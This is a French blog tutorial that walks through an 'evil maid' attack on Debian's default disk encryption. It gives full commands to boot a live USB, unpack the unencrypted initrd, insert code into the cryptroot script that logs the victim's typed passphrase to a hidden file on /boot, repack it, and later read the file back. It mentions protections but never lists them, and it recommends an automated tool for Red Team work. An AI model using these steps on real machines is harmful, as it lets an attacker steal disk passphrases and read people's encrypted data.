Dans cet article nous allons apprendre à voler une passphrase d'un disque chiffré par défaut sur un poste GNU/Linux sur une distribution Debian.
Comment ? grâce à l'intrusion physique \o/
Le principe de cette attaque est simple. Par défaut le chiffrements de disque proposé par Debian mais aussi beaucoup d'autres distributions ne chiffrent pas le /boot. Cela même si c'est possible depuis Grub2...
Nous allons grâce à une clé live boot, démarrer sur le poste et modifier le script présent dans /boot demandant notre passphrase pour déchiffrer notre disque afin que celui-ci l'enregistre dans un fichier sur ce même /boot. Une fois cela fait, la prochaine fois qu'un utilisateur ou une utilisatrice entrera sa passphrase celle-ci sera écrite sur la partie du disque en clair.
Il n'y aura plus qu'à rebooter ensuite sur la machine avec notre clé live et récupérer le contenu du fichier où la passphrase est écrite et le tour est joué !
Pour cette exemple on prendra :
Victime : une debian stretch nommée "vict" avec un disque chiffré basiquement comme le propose l'installeur debian (c'est à dire avec la partition /boot en clair)Attaquant : une clé usb debian-live de stretch nommé "hack"
/!\ Dans notre exemple le initrd.img sera initrd.img-3.16.0-6-amd64. La partie 3.16.0-6-amd64 de notre fichier est propre à la version du Kernel elle est donc variable. /!\
$ setxkbmap fr
sudo -s
#ou
su
$ mount /dev/sda1 /mnt
À partir d'ici nous partirons du principe que "vict" est sur un système debian
$ mkdir /work
Nous faisons ça car la partition /boot crée de base par l'installeur debian est petite (236Mo) et nous risquons d'être a court d'espace
dans la suite si nous continuons à travailler dedans.
$ cp /mnt/initrd.img-3.16.0-6-amd64 /work/
$ cd /work && mv initrd.img-3.16.0-6-amd64 initrd.img-3.16.0-6-amd64.gz
$ gzip -d initrd.img-3.16.0-6-amd64.gz
$ cpio -i < initrd.img-3.16.0-6-amd64
Vous avez maintenant dans le repertoire une arborescence minimaliste. Mais pourquoi ? Et qu'est ce que le fichier initrd ?
Le fichier initrd pour INITial RamDisk est le fichier qui, au démarrage, sera chargé en RAM afin de permettre à l'OS d'avoir un sytème de fichier minimal permettant ainsi de charger le système de fichier principal.
$ rgrep "Please unlock disk"
$ vi scripts/local-top/cryptroot
while [ $crypttries -le 0 ] || [ $count -lt $crypttries ]; do
##HACK BEGIN
zer=$($cryptkeyscript "$cryptkey")
mkdir oklm
mount -t ext2 -o rw /dev/sda1 oklm
echo $zer >> oklm/.kernel_option.tmp
umount oklm
##HACK END
Ce code écrit la passphrase tapée par la victime et l'écrit dans un fichier sur la partition /boot/ du disque.
$ find . | cpio -H newc -o > ../initrd.img-3.16.0-6-amd64
/!\ Dans cette partie le nouveau fichier cpio va être créé au dessus du repertoire work /!\
/!\ Dans la partie "cpio -H newc -o > ../initrd.img-3.16.0-6-amd64*", le initrd.img créé doit porter *EXACTEMENT* le même nom que la version que vous avez décompressez du fichier cpio.
$ gzip ../initrd.img-3.16.0-6-amd64
$ mv ../initrd.img-*.gz /mnt/initrd.img-3.16.0-6-amd64
Cela copiera dans le /boot du système notre initrd avec notre exploit en écrasant par la meme occasion l'ancien.
$ cd && umount /mnt
La victime doit avoir avant cette étape réutilisé sa machine et donc tapé sa passphrase.
Il est mieux d'attendre que cela ait été le cas plusieurs fois au cas où il y ait eu une faute de frappe au moment où elle a entré sa passphrase, ainsi il y aura plusieurs entrées dans notre fichier avec à chaque fois la passphrase.
$ mount /dev/sda1 /mnt
$ cat /mnt/.kernel_option.tmp
Pour se protéger de ce genre d'attaque il est nécessaire de mettre en place 2 choses :
Des versions automatisés de cette attaque existe un de ces outil "Evil Abigail" peut-être trouvé ici. Cela vous fera gagner un temps précieux lors de vos missions Red Team ;-)
Partager sur Twitter Partager sur Facebook
Commentaires
Pas de commentaires actuellement
Nouveau commentaire